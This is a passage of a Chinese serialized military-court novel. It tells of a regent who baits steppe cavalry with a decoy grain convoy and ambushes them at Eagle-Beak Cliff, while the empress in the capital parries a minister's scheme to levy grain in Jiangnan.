“回王爷!末将以为,乌维老贼,狡诈异常!他如此行事,一则是忌惮我军锋锐,尤其是王爷亲临前线,军心大振,他不敢轻易与我主力决战;二则,漠北今春草场不丰,其军粮储备未必充足,他是想用这‘拖’字诀,耗我粮草,磨我锐气,待我军师老兵疲,或是后方生变,他再寻机发动致命一击!” 他伸手指向沙盘上一条蜿蜒的虚线, “尤其是我军通往燕然都护府的这条粮道,近日已被其游骑骚扰数次,虽未得逞,但长此以往,必成心腹之患!” 林臻微微颔首,目光顺着郑蛟的手指在沙盘上移动,沉吟道: “郑帅所虑极是。乌维是想不战而屈人之兵,或是寻求以最小的代价换取最大的战果。” 他的手指从狼山隘口移开,缓缓划过沙盘上代表漠北腹地的广阔区域, 第1076章 死亡沼泽边缘 “但他如此龟缩不出,也暴露了他的虚弱。他对自己的实力,并无十足把握。而且……”林臻的手指突然停在沙盘上一个不起眼的、标记着“死亡沼泽”边缘的区域,“据‘夜枭’三日前冒死传回的情报,乌维的王庭金狼骑,有向这个方向秘密移动的迹象,虽然踪迹很模糊,但绝非空穴来风。” 郑蛟闻言,虎目一凝,凑近细看,眉头紧紧锁起: “死亡沼泽边缘?那里环境恶劣,绝非大军通行之道。乌维把他的王牌调往那里做什么?难道想绕行千里,奇袭我燕然都护府侧后?这……未免太过行险!” “虚则实之,实则虚之。” 林臻直起身,目光深邃, “乌维用兵,向来不按常理。他或许正是要利用我们觉得不可能的地方,出其不意。当然,这也可能是疑兵之计,意在迷惑我们,掩护其真正的攻击方向。” 他顿了顿,转头看向郑蛟,语气斩钉截铁, “但无论如何,粮道必须确保万无一失!从明日开始,增派三倍斥候,扩大巡逻范围,尤其是死亡沼泽边缘地带,给本王盯死了!粮队护卫兵力增加一倍,由你麾下最得力的骠骑校尉亲自押运!同时,传令燕然都护府,加强戒备,没有本王手令,一兵一卒不得擅离防区!” “末将遵命!”郑蛟轰然应诺,眼中闪过钦佩之色。这位年轻的摄政王,虽出身尊贵,但对军旅之事极为精通,决断果敢,思虑周详,令他这位沙场老将也心服口服。 “还有,” 林臻走到长案前,拿起一份刚送到的密报,递给郑蛟, “这是京城刚到的消息。陛下已下严旨,命户部不惜一切代价,保障北疆粮饷。第二批粮草十万石,已从河东启运,由杜如晦宰相亲自督办,走潼关、经朔方,最迟半月可到前线。此外,陛下从内帑拨出黄金十万两,犒赏三军。告诉将士们,陛下和朝廷,是他们最坚实的后盾!” 郑蛟接过密报,快速浏览,脸上露出激动之色,单膝跪地,抱拳道: “陛下圣明!王爷放心!末将定将陛下天恩宣告全军!将士们必当誓死效忠,奋勇杀敌,以报皇恩!” “起来吧。”林臻伸手扶起郑蛟,拍了拍他坚实的臂甲,语气缓和了些, “郑帅,北疆安危,系于你身,也系于全军将士。仗要打,但要打得聪明,要尽量减少无谓的伤亡。乌维想拖,我们偏不让他如愿!” 他的眼中闪过一丝寒光, “他不是喜欢偷袭粮道吗?那我们就给他来个将计就计!” 郑蛟精神一振:“王爷的意思是?” 林臻走回沙盘前,手指在代表粮道的虚线上重重一点: “下一次大规模运粮,故意放出风声,夸大粮队规模和护卫力量,装作严防死守的模样。暗地里,抽调精锐,埋伏在粮道必经之处的险要地带。同时,派出一支轻骑,伪装成运粮队,走另一条小路,若乌维派人劫粮,正好落入我们的圈套!若能吃掉他这几支烦人的游骑,必能狠狠打击其气焰,也能缴获些战马物资,补充我军消耗!” “妙啊!”郑蛟抚掌大笑,眼中精光四射,“王爷此计甚妙!末将立刻去安排!定叫那些漠北崽子有来无回!” “此事需绝对机密,人选要精干可靠。”林臻叮嘱道,“具体细节,你我来详加谋划。”他示意郑蛟靠近沙盘,两人就着灯光,低声商议起来,手指在沙盘上不断比划,时而争论,时而颔首。 帅帐内的牛油灯被风吹得剧烈摇晃,将林臻和郑蛟二人的身影在帐壁上拉扯得如同激斗的巨人。两人围绕着巨大的沙盘,又推演了半个时辰,将诱敌伏击的每一个细节都反复敲定,直至再无疏漏。 “好!就这么办!”郑蛟一拳砸在自己坚硬的皮甲上,发出沉闷的响声,双目中燃烧着兴奋的火焰, “王爷,末将这就去挑选人手!虎贲营那帮小子,个个都是骑射的好手,最擅长长途奔袭,让他们去当这支诱饵,最合适不过!再让神机营的副统领带上些新制的‘霹雳弹’,埋伏在鹰嘴崖,保管叫那些漠北崽子们尝尝天雷轰顶的滋味!” “不,”林臻却摇了摇头,目光依旧凝视着沙盘,手指轻轻划过那条代表着诱敌路线的红线, “虎贲营目标太大,他们是我军精锐,乌维那老狐狸岂会不知?派他们去当诱饵,太过刻意,反而容易引起他的怀疑。” 郑蛟闻言一愣,有些不解地问道:“那依王爷的意思是?” “要像,就要像得十足。”林臻的声音平静却带着一种不容置疑的决断力, “真正的运粮队,护卫兵力不会全是精锐。他们会由部分战兵和大量辅兵、民夫组成,衣甲不整,行进速度缓慢,队列也必然松散。我们要做的,就是复刻这种真实。” 他抬起头,看向郑蛟: “从后军的辎重营里,挑选三千人。这些人不必是百战精兵,但必须是忠诚可靠、临危不乱的老兵。告诉他们,这是一次佯动,真正的杀招在后面,他们的任务就是演好这场戏,把漠北的狼崽子引到我们为他们准备好的屠宰场。另外,再征调五千名随军民夫,让他们推着空的粮车,车上盖着厚厚的油布,里面装满沙土石块,务必要做出粮草满载、不堪重负的样子。” 郑蛟听着林臻的部署,脸上的兴奋慢慢褪去,取而代之的是一种更为深沉的敬佩。 他原以为王爷的计策只是设伏,却没想到连诱饵的细节都考虑得如此周全。这样的布置,几乎与真实的运粮队毫无二致,乌维的探子就算看到了,也绝难分辨真伪。 “王爷思虑周详,末将佩服!”郑蛟由衷地说道,“只是……让辎重营的兄弟们去冒这个险,他们虽是老兵,但战力终究有限,万一漠北游骑不上当,反而先一步吃掉了我们的诱饵……” “所以,护卫力量也必须有。”林臻的目光转向沙盘上另一处, “从你的亲卫营中,抽调五百精锐骑兵,让他们脱下精良的甲胄,换上普通步卒的衣服,混在民夫之中。再挑选一名你最信得过的、以勇猛著称的偏将,让他带队。对外,就宣称是派他去押运粮草。此人必须能演,要演出那种护送重要物资的紧张和外强中干。” 他顿了顿,声音里带上了一丝冷意: “这支诱饵,本身也是一个陷阱。如果来的只是几百人的小股骚扰部队,这五百精锐,足以将其就地全歼,还能让乌维得不到任何消息。如果来的……是数千人的大部队,”他的手指重重地点在了预设的伏击圈——鹰嘴崖,“那就让他们把敌人引进来。告诉那名偏将,只要把敌人引到鹰嘴崖下,他便是首功!” “末将明白了!”郑蛟重重点头,心中已然有了合适的人选, 第1077章 大壮,你要干什么! “末将麾下有个叫李大壮的都尉,此人勇猛有余,谋略不足,但胜在忠心耿耿,悍不畏死。让他去带这支队伍,扮作一个粗莽的护粮官,最合适不过。他手下那帮兄弟,也都是跟着他从死人堆里爬出来的,绝对可靠!” “好,就他了。”林臻点头, “至于真正的伏兵,由赵破虏和李敢二人率领。赵破虏的骁骑营五千人,埋伏在鹰嘴崖东侧的密林中,那里地势较高,便于骑兵俯冲。李敢的虎贲卫五千人,埋伏在西侧的乱石坡后。神机营的霹雳弹,就埋设在鹰嘴崖下的谷道两侧。一旦敌军进入谷底,信号一起,先以霹雳弹轰其首尾,使其混乱,而后赵、李二人东西对进,将其拦腰截断,一举围歼!” “王爷英明!”郑蛟只觉得浑身的热血都在沸腾,他仿佛已经看到了漠北骑兵在鹰嘴崖下人仰马翻、血流成河的景象。 “去吧,”林臻挥了挥手,“此事需绝对保密,只你我二人及几位核心将领知晓。连夜传令,明日清晨,诱饵部队必须出发。记住,让他们走得慢一些,张扬一些,务必要让乌维的探子看得清清楚楚。” “末将遵命!”郑蛟抱拳领命,转身大步流星地走出了帅帐。 帐内重归寂静,只剩下林臻一人。 他没有立刻休息,而是重新走回长案前,铺开一张空白的宣纸,提起笔,饱蘸浓墨。 他不是在写军令,而是在给远在长安的慕容嫣写信。 连日的军旅生涯,风餐露宿,让他原本俊朗的脸庞多了几分沧桑与坚毅,下颌也冒出了青色的胡茬。他想她了。 想念她在栖凤阁里,穿着那身墨金色的神凤降世裙,靠在自己怀里撒娇的模样;想念她处理政务时,凤眸中闪烁的智慧光芒;想念她指尖的温度,她发间的清香…… 在这冰冷肃杀的漠北战场,那份远在长安的温暖,是他心中最柔软的慰vei慰,也是他最强大的力量源泉。 “嫣儿,见字如晤……”他笔尖落下,写下的不再是金戈铁马,而是满纸的柔情与思念。 他告诉她前线战事尚在掌控之中,让她不必过分担忧,要按时用膳,保重身体。 他又写了一些军营中的趣闻,想让她展颜一笑。写到最后,他微微一顿,目光透过帐篷的缝隙,望向漆黑的夜空,仿佛能看到长安城的方向。 “待此战功成,我必早日归来,陪你共赏长安春色。勿念。” 写完信,他小心翼翼地将信纸折好,放入一个特制的防水蜡丸中,唤来亲卫,命其以最快的速度,通过“夜枭”的秘密渠道送往京城。 做完这一切,他才感觉心中稍安。他走到帐口,掀开厚重的门帘,一股夹杂着沙尘的冷风立刻灌了进来,让他精神一振。 他抬头望向东方,那里,是长安的方向,是他的妻子,也是他的整个天下。 与此同时,漠北王庭。 孔志谦的帐篷里,牛油灯的光线昏暗而摇曳。他正独自坐在冰冷的狼皮褥子上,用一块粗糙的磨刀石,一遍又一遍地打磨着乌维赏赐给他的那把镶嵌着宝石的匕首。 匕首的刃口,已经被他磨得锋利无比,在灯光下闪烁着森然的寒光,映出他那张年轻却毫无生气、只剩下仇恨的脸。 帐外,风声凄厉,如同无数冤魂在哭嚎。这声音,总会让他想起曲阜孔府被大火吞噬的那个夜晚,想起族人临死前的惨叫。 每一次回忆,都像一把刀子,在他心上反复切割,让那仇恨的火焰燃烧得更加旺盛。 他已经不再去想家了。因为思念会带来痛苦,而痛苦会让人变得软弱。他现在唯一要做的,就是变强,不择手段地变强。 这些日子,他跟着那个叫巴特尔的老百夫长,学会了如何在风雪中辨认方向,如何通过最细微的踪迹判断敌人的动向,如何用最简单的方式在野外生存。 他还跟着乌维派来的武士,拼命地练习摔跤和刀法,身上青一块紫一块,早已是家常便饭。 他吃着最粗糙的食物,喝着冰冷的雪水,穿着厚重腥膻的皮袍,让自己彻底变成一个漠北人。 他要忘记自己曾经是孔家的嫡长孙,忘记那些圣贤书,忘记那些温情脉脉的过去。 因为,只有变成一头真正的狼,他才能向那对夺走他一切的男女复仇。 “慕容嫣……林臻……”他停下手中的动作,用只有自己能听见的声音,咀嚼着这两个名字,眼中的恨意如同淬了毒的冰。 就在这时,帐帘被猛地掀开,一股寒风卷着雪沫灌了进来。 萨仁公主像一阵风似的跑了进来,小脸上满是兴奋,手里还举着一串烤得焦黄的肉串。 “孔大哥!你看,我给你带了什么!阿爸今天打了只黄羊,可肥了!这是我偷偷给你留的!”小女孩叽叽喳喳地说着,献宝似的将肉串递到他面前。 肉串上还冒着热气,浓郁的香气在冰冷的帐篷里弥漫开来。 孔志谦看着她那双清澈纯真的眼睛,心中那片被仇恨冻结的冰原,似乎有了一丝极其微弱的、不合时宜的松动。但他立刻将这丝情绪掐灭。 他挤出一个僵硬的笑容,接过肉串,用生硬的漠北语说道:“谢谢公主。” 他知道,这或许也是乌维的一种试探,一种拉拢。在这片豺狼环伺的土地上,任何一点温暖,都可能是致命的毒药。 他必须时刻保持警惕,时刻记住自己的仇恨。 这仇恨,是他活下去的唯一理由。 ...... 三日后,漠北草原的天气终于放晴。肆虐了数日的风雪停歇,天空呈现出一种高远而湛蓝的色彩,阳光毫无遮挡地洒在广袤的草原上,积雪开始融化,露出底下枯黄的草根和湿润的黑色泥土。空气中弥漫着一股雪水融化后特有的、清新的土腥味。 一支规模庞大的“运粮队”正行进在通往燕然都护府方向的官道上。 数百辆吱吱作响的大车排成一条长龙,车轮在泥泞的道路上碾出深深的辙印。车上堆满了用油布严密覆盖的“粮草”,高高隆起,看起来分量十足。数千名衣衫杂乱、神情疲惫的“民夫”推着、拉着这些沉重的车辆,不时有人滑倒在泥地里,引来一阵哄笑和监工的喝骂。 队伍的两侧和前后,护卫着大约三千名“士兵”。他们大多穿着寻常的步卒衣甲,样式陈旧,不少人的盔甲上还带着锈迹和破损。他们手中的兵器也五花八门,长枪、朴刀、弓箭,看起来装备并不精良。士兵们三三两两地凑在一起,一边走一边闲聊,队形松散,毫无精锐之师的模样。 这支队伍的指挥官,是一个名叫李大壮的都尉。他生得人高马大,满脸横肉,腰间挎着一把环首大刀,骑在一匹高大的河西马上,正大声地呵斥着一个掉队的士兵。他满口粗话,神情暴躁,看起来就是一个典型的、没什么脑子的粗鲁武夫。 “他娘的!都给老子走快点!天黑前到不了前面的烽燧,晚饭就都别吃了!”李大壮的吼声在旷野上回荡。 这支看起来臃肿、缓慢、且毫无纪律的队伍,就像一块肥美而毫无防备的肉,大摇大摆地行进在漠北斥候活动频繁的区域,散发着诱人的气息。 距离运粮队三十里外的一处高坡上,两名漠北斥候正趴在融雪的草丛中,用单筒望远镜仔细地观察着这支队伍。 “头儿,你看!是南人的运粮队!规模可不小啊!”一名年轻的斥候兴奋地说道。 “嗯,”被称为头儿的是个经验丰富的老斥候,他眯着眼睛,仔?地观察了半晌,沉声道,“看这车辙的深度,车上装的都是实打实的粮食。护卫的兵力……大概三千人,都是些杂兵,不堪一击!那个领头的胖将军,看起来就像头蠢猪。” 第1078章 三千杂兵 “那我们还等什么?赶紧回去报告大汗!这么大一块肥肉,够我们吃上好几个月了!”年轻斥候摩拳擦掌。 老斥候却摇了摇头,眼中闪过一丝狡黠:“不急。南人最是狡猾。我们再跟一段,看看他们晚上在哪里扎营,有没有别的动静。大汗说了,凡事要小心。” 两人又悄悄地跟了半日,眼看着那支运粮队在一处废弃的烽燧旁安营扎寨。营地扎得乱七八糟,篝火生得到处都是,士兵们甚至还在为了一点食物而争吵打架,完全没有半点军纪可言。 “看来是真的没错了。”老斥候终于放下了心,对同伴道,“你在这里继续盯着,我立刻回去向右贤王报告!这么大的功劳,可不能让别人抢了!” 说罢,他翻身上马,如同一道黑色的闪电,向着漠北王庭的方向疾驰而去。 消息很快便传到了右贤王呼衍卓的帐中。 呼衍卓身材瘦削,眼神阴鸷,素以智谋和多疑著称。听完斥候的报告,他并未立刻表现出兴奋,而是在帐内来回踱步,手指轻轻敲击着腰间的刀柄。 “三千杂兵护送数百车粮草?还走的是这条最显眼的大路?领军的是个蠢猪一样的胖子?”他喃喃自语,眼中闪烁着怀疑的光芒,“林臻那小子,亲临前线,以他的谨慎,会犯这种低级的错误?” “王爷,”一名心腹将领上前道,“会不会是那林臻因为初到北疆,不熟悉情况,又急于求成,所以才……” “不可能!”呼衍卓断然否定,“林臻在京城时便能运筹帷幄,决胜千里,他不是蠢货。这事,有诈!” “可斥候再三确认,那运粮队毫无破绽,就是一群乌合之众。而且,我军连日袭扰,南人的粮草消耗巨大,他们急于补充,也是情理之中。王爷,兵法有云,虚则实之,实则虚之。或许林臻正是料到我们会怀疑,所以才故意摆出这副模样,其实就是一支普通的运粮队。我们若是因为多疑而错失良机,岂不可惜?”另一名主张出击的将领劝说道。 呼衍卓沉吟不语。他知道,这确实是一个巨大的诱惑。如果能劫下这批粮草,不仅能极大缓解漠北自身的补给压力,更能沉重打击大乾军队的士气,让林臻的威望受损。 就在他犹豫不决之际,帐外传来通报,大汗乌维派人传令。 传令兵带来了乌维的口信:“右贤王,长生天赐予的机会,就在眼前。雄鹰看到猎物,便要亮出爪牙!我给你八千精骑,务必将这批粮草给本汗拿下!记住,动作要快,要狠!不要给南人任何反应的机会!” 乌维的命令,斩钉截铁,不容置疑。 呼衍卓-卓心中一凛。他知道,乌维这是在给他压力,也是在给他一个立功的机会。如果他再犹豫,恐怕会引起大汗的不满。 “好!”他终于下定了决心,眼中闪过一丝狠厉,“既然大汗有令,那我们就赌一把!传我将令,集结本部所有能战之士,再从浑邪部调拨三千骑,凑足一万铁骑!今夜三更,饱餐战饭,轻装简行,直扑南人营地!天亮之前,我要让他们的烽燧,变成一片火海!” “是!”众将轰然应诺,眼中都燃烧起对劫掠和杀戮的渴望。 呼衍卓还算谨慎,他又叫来斥候头目,仔细询问了运粮队周边所有的地形,特别是可能设伏的区域。 “王爷放心,”斥候头目拍着胸脯保证,“那烽燧周围一马平川,连棵能藏住人的树都没有。唯一一处可以藏兵的地方,就是东边二十里外的鹰嘴崖,但那里地势险要,道路狭窄,大军根本无法展开。南人若是在那里设伏,我们只需堵住谷口,便能将他们困死在里面。他们不会那么傻。” 听了这话,呼衍卓卓心里的最后一丝疑虑也打消了。他认为,林臻就算要设伏,也绝不会选择鹰嘴崖那种死地。 夜色深沉,万籁俱寂。 大乾的“运粮队”营地里,大部分篝火已经熄灭,只剩下几堆余烬还在闪烁着微弱的红光。营地里一片寂静,只偶尔传来几声梦话和沉重的鼾声。守夜的士兵们也大多靠着车轮打起了瞌睡,显得松懈无比。 然而,在营地中心那座不起眼的指挥帐内,李大壮却毫无睡意。他擦拭着自己那把心爱的环首大刀,刀锋在昏暗的油灯下闪着冷光。 他身边,那五百名混在队伍里的精锐骑兵,已经悄悄地换上了轻便的皮甲,检查着自己的弓弩和马刀,每个人的脸上都带着一种猎人等待猎物上钩时的冷静与兴奋。 ...... “都尉,你说那些漠北崽子上钩了吗?”一个年轻的士兵小声问道。 “等着吧,”李大壮嘿嘿一笑,脸上横肉抖动,“王爷的计策,什么时候失手过?今晚,就让咱们给这些不知死活的狼崽子们,好好上一课!” 与此同时,在距离营地三十里外的黑暗中,一万名漠北铁骑,正如同黑色的潮水,无声无息地向前涌动。马蹄上都裹了厚厚的布条,士兵们口中衔着木枝,除了偶尔兵甲碰撞发出的细微声响,几乎听不到任何声音。 右贤王呼衍卓骑在一匹通体漆黑的战马上,走在队伍的最前方。他望着远处那几点微弱的火光,眼中闪烁着贪婪与残忍的光芒。 在他看来,那不是烽火,而是一堆堆唾手可得的黄金和战功。 他已经迫不及待地想要听到南人的惨叫,看到他们绝望的脸庞。 他丝毫没有意识到,自己正带领着一万名勇士,一头扎进一个精心布置的、名为“死亡”的陷阱。 猎人与猎物的角色,即将在黎明前的黑暗中,完成一次残酷的对调。 第一千零七十九章伏兵与血战 天边最后一丝月光隐入云层,大地陷入了黎明前最深沉的黑暗。旷野上,只有风声在低低地呜咽。 “杀!” 一声凄厉的呐喊如同惊雷,骤然划破了这片死寂! 右贤王呼衍卓拔出腰间的弯刀,向前猛地一挥,他身后的万名漠北铁骑瞬间爆发出压抑已久的兽性,发出了震天的嚎叫。 他们扔掉口中的木枝,扯去马蹄上的布条,如同决堤的黑色洪水,向着远处那个看似沉睡的大乾营地,发起了毁灭性的冲锋! 万马奔腾,大地剧烈地震颤起来,仿佛要被这股磅礴的力量撕裂。 “敌袭!敌袭!” 第1079章 呼衍卓没死,战斗就没有结束 大乾营地内,终于响起了惊慌失措的呼喊声。守夜的士兵们如梦初醒,慌乱地抓起兵器,试图组织起有效的抵抗。然而,一切都太晚了。 漠北铁骑的速度太快了!他们就像一群嗅到了血腥味的饿狼,眨眼间便冲垮了营地外围简陋的栅栏。 锋利的弯刀在黑暗中划出一道道致命的寒光,伴随着惨叫声和鲜血的喷溅,无数还在睡梦中的“民夫”和“士兵”被瞬间砍倒。 呼衍卓看到这一幕,脸上露出了残忍而得意的笑容。一切都和他预想的一样,不堪一击! “烧!把所有粮车都给本王烧了!”他大声下令。 立刻有漠北士兵举着火把,冲向那些停放得杂乱无章的大车,将燃烧的火把狠狠地扔了上去。 然而,诡异的一幕发生了。那些盖着厚厚油布的“粮车”,在被火把点燃后,并没有像预想中那样燃起熊熊大火,反而只是冒出了一阵阵呛人的黑烟,火焰很快就熄灭了。 “怎么回事?!”呼衍卓心中一惊,一种不祥的预感瞬间笼罩心头。 就在这时,营地中心,那座一直沉默着的指挥帐内,突然传出一声中气十足的爆喝:“漠北的崽子们!你李爷爷等你们很久了!” 话音未落,指挥帐的帐帘被猛地撕开,李大壮那魁梧的身影出现在门口。 他手中那把环首大刀在火光下闪着骇人的寒光。 “弟兄们!给老子杀!” 随着他一声令下,原本还在四散奔逃、混乱不堪的“大乾士兵”们,瞬间变了模样! 那五百名由精锐骑兵伪装的士兵,如同变戏法一般,从藏身的角落里牵出早已备好的战马,翻身而上,迅速组成一个紧凑的锋矢阵。 而其余的辎重营老兵,也立刻以粮车为掩体,结成了十几个坚固的圆阵,明晃晃的长枪从车轮的缝隙中刺出,组成了一道道钢铁的屏障。 “不好!中计了!”呼衍卓到这一刻,哪里还不明白自己掉进了陷阱!他脸色煞白,又惊又怒,厉声尖叫:“撤!快撤!全军撤退!” 然而,现在想撤,已经晚了。 就在他的命令刚刚喊出口的瞬间,东方和西方的天际,同时升起了三颗耀眼的红色信号火箭,在漆黑的夜空中拖出长长的尾焰,如同死神的请柬。 “轰!轰隆隆——!” 紧接着,在他们来时的谷道方向,突然爆发出惊天动地的巨响!数十枚“霹雳弹”被同时引爆,剧烈的爆炸将狭窄的谷道炸得土石横飞,瞬间形成了一道无法逾越的障碍,将他们的退路彻底封死! “杀——!” 喊杀声如同山崩海啸,从东、西两个方向同时响起! 东边的密林中,赵破虏亲率五千骁骑营铁骑,如猛虎下山,从高坡上俯冲而下! 他们人马合一,马蹄踏在地上发出雷鸣般的轰响,手中的马刀在晨曦微光中连成一片耀眼的白练,带着无可匹靡的气势,狠狠地撞入了漠北军阵的侧翼! 西边的乱石坡后,李敢和他麾下的五千虎贲卫,则如同鬼魅般出现! 他们悄无声息地绕到了漠北军的后方,张弓搭箭,一波波密集的箭雨如同黑色的乌云,铺天盖地地笼罩下来,瞬间便有成百上千的漠北骑兵惨叫着落马! “有伏兵!我们被包围了!” “是骁骑营和虎贲卫!是大乾的精锐!” 漠北军阵瞬间大乱。他们本来是来偷袭的猎人,却在一瞬间变成了被三面合围的猎物。前有李大壮的“诱饵”部队死死缠住,后有神机营的爆炸封死退路,两翼又遭到了大乾最精锐骑兵的毁灭性打击! 呼衍卓只觉得一阵天旋地转,手脚冰凉。他知道,自己完了。 他犯下了一个致命的错误,他将带领这一万名漠北最勇猛的战士,葬身在这片名为鹰嘴崖的死亡之地。 “王爷!快突围!我们护着你冲出去!”几名忠心耿的亲卫围了上来,焦急地喊道。 呼衍卓的眼中闪过一丝绝望,但随即又被一种疯狂的狠厉所取代。他嘶吼道:“冲?往哪里冲?我们已经没有退路了!听我命令!全军向东!集中所有力量,给我撕开赵破虏的口子!杀出去一个是一个!杀!” 说罢,他一马当先,挥舞着弯刀,带着身边最后的亲卫,如同一支绝望的利箭,狠狠地扎向了骁骑营的军阵。 赵破虏早已盯上了呼衍卓的王旗。他冷笑一声,大喝道:“来得好!全军听令!结圆阵!给我把这老匹夫围死在这里!取呼衍卓首级者,赏千金,官升三级!” 两支最精锐的骑兵,在狭窄的谷地中,展开了最原始、最血腥的肉搏! 刀光剑影,血肉横飞。战马的悲鸣,士兵的惨叫,兵器碰撞的铿锵声,汇成了一曲惨烈的死亡交响曲。 骁骑营的士兵训练有素,配合默契,他们结成一个个小的圆阵,互相依托,如同礁石一般,不断地消磨、分割着漠北骑兵的冲击。 而漠北骑兵虽然勇猛,但在被包围和士气崩溃的情况下,早已乱了章法,各自为战,很快便陷入了被屠杀的境地。 李敢的虎贲卫在用弓箭进行了几轮饱和打击后,也拔出马刀,从后方加入了战团,彻底断绝了漠北军最后一丝侥Giao幸。 站在远处高坡上,亲眼目睹着这一切的林臻,面色平静,没有丝毫波澜。他身旁,郑蛟激动得满脸通红,拳头紧紧地攥着。 “王爷!赢了!我们赢了!”郑蛟声音都有些颤抖。 “还没有。”林臻淡淡地说道,目光依旧锁定在战场中央,“呼衍卓还没死,战斗就没有结束。传令下去,不要恋战,以最小的代价,全歼敌军!” 战场上,呼衍卓已经杀红了眼。他浑身浴血,不知是敌人的还是自己的。他身边的亲卫已经所剩无几,但他依旧像一头受伤的孤狼,疯狂地挥舞着弯刀,砍倒一个又一个冲上来的大乾士兵。 “赵破虏!你给我出来!可敢与我决一死战!”他嘶声力竭地吼道。 “有何不敢!”赵破虏拨开人群,催马而出。他手中一杆沉重的陌刀,在空中划出一道森然的弧线,“呼衍卓,你这背信弃义的老贼,今日就是你的死期!” 两员主将,在万军丛中,骤然相遇! 第1080章 想跑?没那么容易! 呼衍卓的弯刀灵动而狠辣,招招不离赵破虏的要害。而赵破虏的陌刀则大开大合,势大力沉,每一刀都带着开山裂石的威势。 两人瞬间交手数十回合,兵器碰撞发出刺耳的声响,火星四溅。 呼衍卓毕竟年事已高,又经过连番血战,力气渐渐不支。一个不慎,被赵破虏抓住破绽,一刀劈中左肩! “啊!”呼衍卓惨叫一声,左臂顿时鲜血淋漓,手中的弯刀也险些脱手。 “死吧!”赵破虏大喝一声,陌刀横扫,向着呼衍卓的脖颈斩去! 就在这千钧一发之际,几名漠北亲卫不顾一切地冲了上来,用自己的身体挡在了呼衍卓面前。 “噗嗤!” 陌刀带着无可阻挡的力量,瞬间斩断了数人的身体,鲜血和内脏喷溅得到处都是。 趁着这片刻的喘息,呼衍卓眼中闪过一丝决绝。他猛地一拉缰绳,调转马头,不顾一切地向着战场的边缘冲去。他知道,大势已去,他现在唯一能做的,就是逃出去,将这个血的教训带回给乌维! “想跑?没那么容易!”赵破虏岂能让他如愿,立刻催马追了上去。 然而,就在他即将追上呼衍卓之际,一支冷箭,不知从何处射来,又快又疾,正中赵破虏的坐骑! 战马悲鸣一声,轰然倒地,将赵破虏也掀翻在地。 等他从地上爬起来时,呼衍卓已经在最后几名亲卫的拼死掩护下,冲出了包围圈,消失在了远处的晨雾之中。 北疆鹰嘴崖的血战落幕之时,远在数千里之外的帝都长安,刚刚从沉睡中苏醒。晨曦透过厚重的云层,为这座古老的城市镀上了一层朦胧的金色。太极殿的早朝,一如既往地在卯时正开始。 只是今日的气氛,与往日截然不同。 自从宣战诏书颁布,尤其是摄政王林臻亲赴北疆督战之后,整个长安城都笼罩在一种紧张而肃穆的战时氛围中。 朝堂之上,关于军务的奏报成了每日的重中之重,文官们昔日的悠闲与清谈,早已被粮草调度、兵员征发等具体而繁琐的事务所取代。 慕容嫣端坐于九重高阶之上的赤金凤椅,凤眸平静地扫过下方肃立的百官。 她依旧只穿着那身作为唯一服饰的神凤降世裙,外面则庄重地罩着那件与之配套的黑金色霞帔,以示朝会的正式。 殿内巨大的蟠龙金柱上,烛火明亮,映照着她这身独特的帝王袍服。 那神凤降世裙,以极致玄黑的苏锦为底料,织造时融入的细软金色棉绒,在烛光的辉映下,使得墨黑的底色中仿佛有无数细碎的金沙在缓缓流淌,沉静中透着无尽的华贵。 苏锦的精湛工艺,赋予了这件棉质睡裙极致的轻盈与柔软,即便层层叠叠,裙幅浩大,她端坐其上,也丝毫不觉沉重,反而因其贴身舒适,成为她在高强度政务压力下的一种无声慰藉。 裙身上,那只用最上等真金线,以卓绝绣工绣制的擎天巨凤,在烛光下熠熠生辉。凤凰的双翼覆盖了宽大华丽的喇叭袖,凤尾则与那长达五丈的苏锦拖尾浑然一体,迤逦于身后。 此刻,这长长的拖尾自凤椅之后铺陈开来,沿着九级丹陛蜿蜒而下,在光洁如镜的金砖地面上堆叠、扭曲,形成一片充满威仪的、磅礴的凌乱。 宽大的喇叭袖口,金线流苏静静垂落。她左手拇指上的那枚墨玉扳指,在烛光下泛着幽深而坚定的光泽。 “有事出班早奏,无事卷帘退朝——”司礼监太监尖细的唱喏声在大殿中回荡。 户部尚书率先出列,禀报了最新一批军粮的筹措与启运情况。 工部尚书紧随其后,汇报了加紧赶制的攻城器械与弩箭的生产进度。 一切似乎都有条不紊地进行着。 慕容嫣静静地听着,不时颔首,偶尔就某些细节提出一两个问题,言语精炼,直指核心,让负责的官员不敢有丝毫怠慢。 就在这时,文官班列中,礼部侍郎崔明远缓步出列,躬身行礼。 “启禀陛下,”他的声音一如既往地温和儒雅,透着一股令人信服的从容,“臣有事启奏。” 慕容嫣目光落在他身上,淡淡道:“崔爱卿请讲。” “陛下,”崔明远不疾不徐地说道,“北疆战事,牵动国本,耗费巨大。户部连日调度,国库虽尚能支撑,然长此以往,恐非良策。臣听闻,江南一带,今岁风调雨顺,夏粮丰收在望。然漕运艰难,千里转运,耗时耗力,且损耗甚巨。” 他顿了顿,似乎在组织语言,然后提出了一个听起来十分合情合理的建议: “臣愚见,或可在江南富庶之地,就地征集部分粮草,以解北疆燃眉之急。如此,既可缩短运途,节省人力物力,又能让江南士绅百姓,有机会为国分忧,共克时艰。只是……” 他话锋一转,脸上露出些许为难之色: “江南士绅,向来输捐踊跃,但此次征集数额巨大,恐需朝廷派遣一位德高望重、熟悉江南事务的重臣前往安抚、统筹,方能事半功倍,不至引起地方动荡。” 这番话一出,殿内不少文官都纷纷点头,表示赞同。此计听起来确实是两全其美之策。 然而,慕容嫣端坐凤椅之上,脸上却看不出丝毫表情,唯有搭在扶手上、戴着墨玉扳指的指尖,几不可察地轻轻敲击了一下。 她心中冷笑。 好一个崔明远! 好一个“为国分忧”! 江南是鱼米之乡,更是世家大族的根基所在。 清河崔氏在江南的姻亲故旧、门生弟子盘根错节,影响力极大。 他此刻提出在江南征粮,并要求派“德高望重”之臣前往,其心可诛! 一来,战时征粮,本就容易激发民怨。若操作不当,极易引起地方不稳,届时这责任便要由朝廷来背。 二来,派谁去?若派了崔家一系的人,无异于让他们借着为国征粮的名义,在江南大肆扩张自己的势力,收买人心。 若派了旁人,崔家只需在暗中稍加掣肘,让征粮之事处处碰壁,便能轻易营造出朝廷政令不出长安、失了人心的假象,从而打击朝廷威信,动摇北征的根基。 这看似为国分忧的良策,实则是一把包藏祸心的软刀子! “崔爱卿所言,不无道理。”慕容嫣开口了,声音平静无波,听不出喜怒,“漕运艰难,确是实情。就地征粮,亦不失为一策。只是,不知崔爱卿心中,可有合适的人选,能担此重任?” 她将问题直接抛了回去。 崔明远似乎早有准备,立刻躬身答道: 